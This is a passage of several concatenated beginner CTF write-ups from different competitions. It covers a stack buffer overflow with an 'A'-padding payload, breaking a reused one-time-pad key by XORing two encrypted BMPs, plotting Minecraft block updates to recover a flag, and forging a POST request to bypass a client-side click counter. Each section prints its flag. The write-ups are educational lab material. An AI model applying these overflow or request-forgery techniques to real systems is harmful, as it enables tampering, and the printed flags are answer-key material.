- The struct data allocates 32 bytes for buffer and 8 bytes for the check. However, fgets reads in 64 bytes from the standard input into name.buff. Since check is after buffer on the stack, we can perform a buffer overflow by sending 32 random bytes and then 4 bytes of AAAA to pass the check in the code (A = 0x41).- The payload is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA- After some time we will get the flag.
```wctf{pwn_1s_th3_best_Categ0ry!}``` |
# Crypto: TwoTimePad
> Author: cogsworth64 > > Description: One-time pads are perfectly information-theoretically secure, so I should be safe, right? [chall.py](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-TwoTimePad/chall.py) [eFlag.bmp](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-TwoTimePad/eFlag.bmp) [eWolverine.bmp](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-TwoTimePad/eWolverine.bmp)
Second challenge crypto beginner is a classic example of the misuse a one-time pad (OTP). Called `TwoTimePad` is a hint towards this. The key should be random, secret, and never reused. However in this challenge, the same key is used to encrypt two different encrypted files (`eWolverine.bmp` & `eFlag.bmp`).
```pythonfrom Crypto.Random import random, get_random_bytes
BLOCK_SIZE = 16
with(open('./genFiles/wolverine.bmp', 'rb')) as f: wolverine = f.read()with(open('./genFiles/flag.bmp', 'rb')) as f: flag = f.read()
w = open('eWolverine.bmp', 'wb')f = open('eFlag.bmp', 'wb')
f.write(flag[:55])w.write(wolverine[:55])
for i in range(55, len(wolverine), BLOCK_SIZE): KEY = get_random_bytes(BLOCK_SIZE) w.write(bytes(a^b for a, b in zip(wolverine[i:i+BLOCK_SIZE], KEY))) f.write(bytes(a^b for a, b in zip(flag[i:i+BLOCK_SIZE], KEY)))```
The headers of the BMP files contain important information such as the size, color depth, compression method, etc. In the provided Python script, the headers of the original images are preserved. However, if we XOR the two encrypted images together, the headers are also XOR-ed.
Then, we need to XOR the two encrypted images together. Since the same key was used for both, this will effectively cancel out the key, leaving with the XOR of the two original images.
```pythonHEADER_SIZE = 55 # Size of the BMP header
with open('eWolverine.bmp', 'rb') as f: eWolverine = f.read()with open('eFlag.bmp', 'rb') as f: eFlag = f.read()
header = eWolverine[:HEADER_SIZE]
xor = header + bytes(a^b for a, b in zip(eWolverine[HEADER_SIZE:], eFlag[HEADER_SIZE:]))
with open('out.bmp', 'wb') as f: f.write(xor)```
 > Flag: `wctf{D0NT_R3CYCLE_K3Y5}` |
# SMP> We'd call it Bedwars but we suck at Bedwars too much.
Now this challenge we didn't technically 'solve' during the CTF but we had the flag and didn't think we had a full solve, interpreting it as a partial flag as our code originally cut off the top of the flag.
The file we are given is a `smp.log` which seems to contain logs for a Minecraft server, as hinted at by Bedwars which is referring to Hypixel's Bedwars.
In the summary (sorted by amount), is some block, entity and player updates:```Sorted by count:+======================================================================================+ +==================================================================================+| Server ---> Client | | Client ---> Server |+======================================================================================+ +==================================================================================+| Name | Count | Bandwidth | | Name | Count | Bandwidth |+------------------------------------------------+-----------------+-------------------+ +------------------------------------------------+---------------+-----------------+| Total | 198745 (100.0%) | 10271434 (100.0%) | | Total | 7308 (100.0%) | 207553 (100.0%) || Rotate Head | 58374 (29.37%) | 348161 ( 3.39%) | | Move Player PosRot | 3526 (48.25%) | 126936 (61.16%) || Move Entity Pos | 42847 (21.56%) | 513082 ( 5.00%) | | Move Player Pos | 2315 (31.68%) | 64820 (31.23%) || Set Entity Motion | 36968 (18.60%) | 406645 ( 3.96%) | | Chunk Batch Received | 668 ( 9.14%) | 4676 ( 2.25%) || Move Entity PosRot | 36052 (18.14%) | 504728 ( 4.91%) | | Swing | 278 ( 3.80%) | 1112 ( 0.54%) || Set Entity Data | 7374 ( 3.71%) | 79346 ( 0.77%) | | Use Item On | 274 ( 3.75%) | 7546 ( 3.64%) || Teleport Entity | 2799 ( 1.41%) | 89514 ( 0.87%) | | Player Command | 94 ( 1.29%) | 658 ( 0.32%) || Bundle | 2190 ( 1.10%) | 6570 ( 0.06%) | | Move Player Rot | 68 ( 0.93%) | 816 ( 0.39%) || Level Chunk With Light | 1904 ( 0.96%) | 8077926 (78.64%) | | Set Creative Mode Slot | 29 ( 0.40%) | 513 ( 0.25%) || Forget Level Chunk | 1451 ( 0.73%) | 15961 ( 0.16%) | | Keep Alive | 21 ( 0.29%) | 231 ( 0.11%) || Entity Event | 1432 ( 0.72%) | 11456 ( 0.11%) | | Set Carried Item | 13 ( 0.18%) | 65 ( 0.03%) || Add Entity | 1095 ( 0.55%) | 61294 ( 0.60%) | | Player Abilities | 9 ( 0.12%) | 36 ( 0.02%) || Update Attributes | 1063 ( 0.53%) | 51977 ( 0.51%) | | Player Action | 2 ( 0.03%) | 29 ( 0.01%) || Remove Entities | 961 ( 0.48%) | 5751 ( 0.06%) | | Use Item | 2 ( 0.03%) | 12 ( 0.01%) || Block Update | 866 ( 0.44%) | 11027 ( 0.11%) | | Container Close | 2 ( 0.03%) | 8 ( 0.00%) || Move Entity Rot | 861 ( 0.43%) | 6888 ( 0.07%) | | Hello | 1 ( 0.01%) | 25 ( 0.01%) || Chunk Batch Finished | 668 ( 0.34%) | 2672 ( 0.03%) | | Login Acknowledged | 1 ( 0.01%) | 3 ( 0.00%) || Chunk Batch Start | 668 ( 0.34%) | 2004 ( 0.02%) | | Client Information (Configuration) | 1 ( 0.01%) | 16 ( 0.01%) || Set Time | 324 ( 0.16%) | 6156 ( 0.06%) | | Accept Teleportation | 1 ( 0.01%) | 4 ( 0.00%) || Block Changed Ack | 278 ( 0.14%) | 1263 ( 0.01%) | | Client Intention | 1 ( 0.01%) | 17 ( 0.01%) || Set Equipment | 275 ( 0.14%) | 6847 ( 0.07%) | | Finish Configuration | 1 ( 0.01%) | 3 ( 0.00%) || Sound | 147 ( 0.07%) | 4998 ( 0.05%) | | Custom Payload (Configuration)|minecraft:brand | 1 ( 0.01%) | 27 ( 0.01%) || Set Chunk Cache Center | 67 ( 0.03%) | 603 ( 0.01%) | | | | || Keep Alive | 21 ( 0.01%) | 231 ( 0.00%) | | | | || Player Info Update | 13 ( 0.01%) | 2039 ( 0.02%) | | | | || Set Passengers | 6 ( 0.00%) | 48 ( 0.00%) | | | | || Level Event | 5 ( 0.00%) | 100 ( 0.00%) | | | | || Container Set Slot | 4 ( 0.00%) | 39 ( 0.00%) | | | | || Level Particles | 3 ( 0.00%) | 152 ( 0.00%) | | | | || Section Blocks Update | 3 ( 0.00%) | 60 ( 0.00%) | | | | || Ticking State | 1 ( 0.00%) | 8 ( 0.00%) | | | | || Ticking Step | 1 ( 0.00%) | 4 ( 0.00%) | | | | || Update Advancements | 1 ( 0.00%) | 7834 ( 0.08%) | | | | || Set Health | 1 ( 0.00%) | 12 ( 0.00%) | | | | || Set Experience | 1 ( 0.00%) | 9 ( 0.00%) | | | | || Update Enabled Features | 1 ( 0.00%) | 22 ( 0.00%) | | | | || Update Recipes | 1 ( 0.00%) | 22651 ( 0.22%) | | | | || Update Tags (Configuration) | 1 ( 0.00%) | 8517 ( 0.08%) | | | | || Set Default Spawn Position | 1 ( 0.00%) | 15 ( 0.00%) | | | | || Initialize Border | 1 ( 0.00%) | 42 ( 0.00%) | | | | || Change Difficulty | 1 ( 0.00%) | 5 ( 0.00%) | | | | || Commands | 1 ( 0.00%) | 7797 ( 0.08%) | | | | || Container Set Content | 1 ( 0.00%) | 240 ( 0.00%) | | | | || Custom Payload (Configuration)|minecraft:brand | 1 ( 0.00%) | 27 ( 0.00%) | | | | || Finish Configuration | 1 ( 0.00%) | 3 ( 0.00%) | | | | || Game Event | 1 ( 0.00%) | 8 ( 0.00%) | | | | || Game Profile | 1 ( 0.00%) | 935 ( 0.01%) | | | | || Hello | 1 ( 0.00%) | 173 ( 0.00%) | | | | || Set Carried Item | 1 ( 0.00%) | 4 ( 0.00%) | | | | || Login | 1 ( 0.00%) | 128 ( 0.00%) | | | | || Login Compression | 1 ( 0.00%) | 4 ( 0.00%) | | | | || Player Abilities | 1 ( 0.00%) | 12 ( 0.00%) | | | | || Player Position | 1 ( 0.00%) | 37 ( 0.00%) | | | | || Recipe | 1 ( 0.00%) | 781 ( 0.01%) | | | | || Registry Data | 1 ( 0.00%) | 4602 ( 0.04%) | | | | || Server Data | 1 ( 0.00%) | 26 ( 0.00%) | | | | |+------------------------------------------------+-----------------+-------------------+ +------------------------------------------------+---------------+-----------------+```
I decide to first look into the blocks, specifically `Block Update`.
Each block update has the following JSON below the log line:```json{ "blockstate": 9, "pos": { "x": ?, "y": ?, "z": ? }}```The `?` instead being the positions.
I decide to graph out the positions using a 3d scatterplot with `matplotlib` and Python.
```pythonimport jsonimport matplotlib.pyplot as pltimport numpy as npobjs=[]cobj=""startCapture=Falsewith open('smp.log') as f: for x in f.readlines(): x=x.replace('\n','').replace('\r','') if startCapture: cobj+=x if x.startswith('}'): startCapture=False objs.append(cobj) cobj="" print(len(objs)) if x.endswith('[S --> C] Block Update'): startCapture=Trueprint('Making figure...')fig = plt.figure()ax = fig.add_subplot(projection='3d')xs=[]ys=[]zs=[]print('Placing coords...')for x in objs: x=json.loads(x) xs.append(x['pos']['x']) ys.append(x['pos']['y']) zs.append(x['pos']['z'])print('Scattering...')ax.scatter(xs, ys, zs, c='r', marker='o')ax.set_xlabel('X Label')ax.set_ylabel('Y Label')ax.set_zlabel('Z Label')print('Showing...')plt.show()```
Once plotted we can zoom in on a particular clump and see the flag.
Flag: `gigem{w3_l0v3_pl1y1n_MC_SMP}` |
As soon as we open the site, we notice that we have to beat a certain score, and when we click on the cookie, it increases.
We can start by inspecting the website using dev tools and we'll find this piece of code:```jsdocument.addEventListener('DOMContentLoaded', function() { var count = parseInt(localStorage.getItem('count')) || 0; var cookieImage = document.getElementById('cookieImage'); var display = document.getElementById('clickCount');
display.textContent = count;
cookieImage.addEventListener('click', function() { count++; display.textContent = count; localStorage.setItem('count', count);
if (count >= 10000000) { fetch('/click', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'count=' + count }) .then(response => response.json()) .then(data => { alert(data.flag); }); } });});```
We see here the condition that if the count is greater than `10000000` then a POST request is made to `/click`
So all we have to do is take a piece of code, modify `count` and run it:```jsfetch('/click', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'count=10000001'}).then(response => response.json()).then(data => { alert(data.flag);});```
Flag:```utflag{y0u_cl1ck_pr3tty_f4st}``` |